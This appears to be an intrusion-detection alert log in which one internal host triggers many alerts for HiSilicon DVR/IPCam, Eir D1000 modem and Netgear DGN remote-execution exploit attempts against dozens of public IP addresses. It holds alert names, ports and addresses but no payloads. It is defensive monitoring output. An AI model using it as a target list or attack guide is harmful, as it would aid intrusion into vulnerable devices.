Timestamp:	05/16/24-16:39:05.711693
SID:	2030488
Source Port:	43790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.173.235.158

Timestamp:	05/16/24-16:39:05.675833
SID:	2030487
Source Port:	57936
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.47.151.236

Timestamp:	05/16/24-16:39:12.378500
SID:	2030487
Source Port:	54082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.173.235.158

Timestamp:	05/16/24-16:39:05.675833
SID:	2030488
Source Port:	57936
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 141.141.169.188

Timestamp:	05/16/24-16:39:05.694706
SID:	2030488
Source Port:	40052
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 141.141.169.188

Timestamp:	05/16/24-16:39:05.694706
SID:	2030487
Source Port:	40052
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.47.151.236

Timestamp:	05/16/24-16:39:12.378500
SID:	2030488
Source Port:	54082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.176.231.41

Timestamp:	05/16/24-16:38:50.080371
SID:	2030487
Source Port:	57802
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.176.231.41

Timestamp:	05/16/24-16:38:50.080371
SID:	2030488
Source Port:	57802
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.110.247.240

Timestamp:	05/16/24-16:39:02.743860
SID:	2030488
Source Port:	43908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.110.247.240

Timestamp:	05/16/24-16:39:02.743860
SID:	2030487
Source Port:	43908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.143.29.128

Timestamp:	05/16/24-16:38:59.559283
SID:	2030487
Source Port:	43498
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.143.29.128

Timestamp:	05/16/24-16:38:59.559283
SID:	2030488
Source Port:	43498
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 1.109.32.78

Timestamp:	05/16/24-16:38:50.063943
SID:	2030488
Source Port:	33452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 1.109.32.78

Timestamp:	05/16/24-16:38:50.063943
SID:	2030487
Source Port:	33452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.151.19.44

Timestamp:	05/16/24-16:39:16.580814
SID:	2030487
Source Port:	41776
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.151.19.44

Timestamp:	05/16/24-16:39:16.580814
SID:	2030488
Source Port:	41776
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 202.112.86.48

Timestamp:	05/16/24-16:38:55.206802
SID:	2030487
Source Port:	50004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.86.10.41

Timestamp:	05/16/24-16:39:05.679593
SID:	2030488
Source Port:	39712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 202.112.86.48

Timestamp:	05/16/24-16:38:55.206802
SID:	2030488
Source Port:	50004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.86.10.41

Timestamp:	05/16/24-16:39:05.679593
SID:	2030487
Source Port:	39712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.241.111.14

Timestamp:	05/16/24-16:39:08.041738
SID:	2030488
Source Port:	51732
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.241.111.14

Timestamp:	05/16/24-16:39:08.041738
SID:	2030487
Source Port:	51732
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.50.207.91

Timestamp:	05/16/24-16:39:16.606006
SID:	2030488
Source Port:	33436
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.50.207.91

Timestamp:	05/16/24-16:39:16.606006
SID:	2030487
Source Port:	33436
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.132.67.80

Timestamp:	05/16/24-16:38:55.176105
SID:	2030487
Source Port:	37946
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.182.113.191

Timestamp:	05/16/24-16:38:55.192800
SID:	2030487
Source Port:	59976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.27.182.127

Timestamp:	05/16/24-16:39:02.767175
SID:	2030488
Source Port:	35196
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.182.113.191

Timestamp:	05/16/24-16:38:55.192800
SID:	2030488
Source Port:	59976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 198.165.0.145

Timestamp:	05/16/24-16:39:14.524545
SID:	2030488
Source Port:	52500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.27.182.127

Timestamp:	05/16/24-16:39:02.767175
SID:	2030487
Source Port:	35196
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 198.165.0.145

Timestamp:	05/16/24-16:39:14.524545
SID:	2030487
Source Port:	52500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.132.67.80

Timestamp:	05/16/24-16:38:55.176105
SID:	2030488
Source Port:	37946
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 119.158.33.79

Timestamp:	05/16/24-16:39:05.678412
SID:	2030488
Source Port:	34836
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.214.149.177

Timestamp:	05/16/24-16:39:05.699905
SID:	2030487
Source Port:	40326
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 119.158.33.79

Timestamp:	05/16/24-16:39:05.678412
SID:	2030487
Source Port:	34836
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.214.149.177

Timestamp:	05/16/24-16:39:05.699905
SID:	2030488
Source Port:	40326
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.108.60.32

Timestamp:	05/16/24-16:38:57.407570
SID:	2030488
Source Port:	54390
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.108.60.32

Timestamp:	05/16/24-16:38:57.407570
SID:	2030487
Source Port:	54390
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.88.178.81

Timestamp:	05/16/24-16:39:14.510005
SID:	2030488
Source Port:	38910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.88.178.81

Timestamp:	05/16/24-16:39:14.510005
SID:	2030487
Source Port:	38910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.9.233.194

Timestamp:	05/16/24-16:38:55.226344
SID:	2030488
Source Port:	54126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.9.233.194

Timestamp:	05/16/24-16:38:55.226344
SID:	2030487
Source Port:	54126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.251.22.103

Timestamp:	05/16/24-16:38:55.207735
SID:	2030487
Source Port:	54894
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.251.22.103

Timestamp:	05/16/24-16:38:55.207735
SID:	2030488
Source Port:	54894
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 1.67.95.176

Timestamp:	05/16/24-16:39:12.295311
SID:	2030488
Source Port:	53514
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 1.67.95.176

Timestamp:	05/16/24-16:39:12.295311
SID:	2030487
Source Port:	53514
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.56.215.21

Timestamp:	05/16/24-16:39:14.492238
SID:	2030488
Source Port:	32946
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.56.215.21

Timestamp:	05/16/24-16:39:14.492238
SID:	2030487
Source Port:	32946
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.95.85.220

Timestamp:	05/16/24-16:39:08.146077
SID:	2030487
Source Port:	54350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.95.85.220

Timestamp:	05/16/24-16:39:08.146077
SID:	2030488
Source Port:	54350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.167.4.208

Timestamp:	05/16/24-16:39:12.301136
SID:	2030488
Source Port:	57882
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 203.40.99.90

Timestamp:	05/16/24-16:38:55.198247
SID:	2030488
Source Port:	45054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.167.4.208

Timestamp:	05/16/24-16:39:12.301136
SID:	2030487
Source Port:	57882
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 203.40.99.90

Timestamp:	05/16/24-16:38:55.198247
SID:	2030487
Source Port:	45054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.50.72.177

Timestamp:	05/16/24-16:39:05.678448
SID:	2030488
Source Port:	49728
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.50.72.177

Timestamp:	05/16/24-16:39:05.678448
SID:	2030487
Source Port:	49728
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.179.187.101

Timestamp:	05/16/24-16:39:05.715229
SID:	2030487
Source Port:	50906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.179.187.101

Timestamp:	05/16/24-16:39:05.715229
SID:	2030488
Source Port:	50906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.179.149.189

Timestamp:	05/16/24-16:38:59.589131
SID:	2030488
Source Port:	55740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.179.149.189

Timestamp:	05/16/24-16:38:59.589131
SID:	2030487
Source Port:	55740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.125.122.36

Timestamp:	05/16/24-16:39:12.301081
SID:	2030487
Source Port:	53552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.218.35.202

Timestamp:	05/16/24-16:39:12.401824
SID:	2030487
Source Port:	35274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.218.35.202

Timestamp:	05/16/24-16:39:12.401824
SID:	2030488
Source Port:	35274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.133.201.92

Timestamp:	05/16/24-16:39:08.041208
SID:	2030487
Source Port:	43936
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.50.227.98

Timestamp:	05/16/24-16:39:14.492368
SID:	2030487
Source Port:	37952
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.50.227.98

Timestamp:	05/16/24-16:39:14.492368
SID:	2030488
Source Port:	37952
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.181.38.181

Timestamp:	05/16/24-16:38:50.075674
SID:	2030488
Source Port:	37972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.133.201.92

Timestamp:	05/16/24-16:39:08.041208
SID:	2030488
Source Port:	43936
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.181.38.181

Timestamp:	05/16/24-16:38:50.075674
SID:	2030487
Source Port:	37972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.140.79.140

Timestamp:	05/16/24-16:39:05.676000
SID:	2030487
Source Port:	35484
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.140.79.140

Timestamp:	05/16/24-16:39:05.676000
SID:	2030488
Source Port:	35484
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.147.130.88

Timestamp:	05/16/24-16:38:59.604410
SID:	2030487
Source Port:	40206
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.147.130.88

Timestamp:	05/16/24-16:38:59.604410
SID:	2030488
Source Port:	40206
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 95.196.178.18

Timestamp:	05/16/24-16:38:57.409029
SID:	2030487
Source Port:	37618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.57.12.46

Timestamp:	05/16/24-16:38:50.053182
SID:	2030488
Source Port:	42926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.57.12.46

Timestamp:	05/16/24-16:38:50.053182
SID:	2030487
Source Port:	42926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 53.149.226.14

Timestamp:	05/16/24-16:39:16.613575
SID:	2030488
Source Port:	36330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 213.47.195.110

Timestamp:	05/16/24-16:38:49.922529
SID:	2023548
Source Port:	38650
Destination Port:	5555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 53.149.226.14

Timestamp:	05/16/24-16:39:16.613575
SID:	2030487
Source Port:	36330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 51.83.55.247

Timestamp:	05/16/24-16:38:55.193089
SID:	2030488
Source Port:	57690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.175.224.134

Timestamp:	05/16/24-16:38:55.198151
SID:	2030487
Source Port:	52806
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 51.83.55.247

Timestamp:	05/16/24-16:38:55.193089
SID:	2030487
Source Port:	57690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.175.224.134

Timestamp:	05/16/24-16:38:55.198151
SID:	2030488
Source Port:	52806
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.9.81.107

Timestamp:	05/16/24-16:38:59.587390
SID:	2030487
Source Port:	49256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.9.81.107

Timestamp:	05/16/24-16:38:59.587390
SID:	2030488
Source Port:	49256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.159.30.226

Timestamp:	05/16/24-16:39:05.699178
SID:	2030487
Source Port:	35896
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.102.138.89

Timestamp:	05/16/24-16:39:16.579423
SID:	2030487
Source Port:	59508
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.237.49.32

Timestamp:	05/16/24-16:38:55.195832
SID:	2030487
Source Port:	53448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.159.30.226

Timestamp:	05/16/24-16:39:05.699178
SID:	2030488
Source Port:	35896
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.102.138.89

Timestamp:	05/16/24-16:39:16.579423
SID:	2030488
Source Port:	59508
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.237.49.32

Timestamp:	05/16/24-16:38:55.195832
SID:	2030488
Source Port:	53448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 44.48.228.217

Timestamp:	05/16/24-16:39:12.298231
SID:	2030488
Source Port:	47862
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 44.48.228.217

Timestamp:	05/16/24-16:39:12.298231
SID:	2030487
Source Port:	47862
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 193.213.19.125

Timestamp:	05/16/24-16:39:05.506497
SID:	2024916
Source Port:	58226
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 174.215.71.75

Timestamp:	05/16/24-16:39:13.665738
SID:	2034576
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.210.177.158

Timestamp:	05/16/24-16:39:02.727984
SID:	2030488
Source Port:	52178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 197.210.177.158

Timestamp:	05/16/24-16:39:02.727984
SID:	2030487
Source Port:	52178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.246.161.167

Timestamp:	05/16/24-16:39:12.384439
SID:	2030488
Source Port:	38546
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.15.93.228

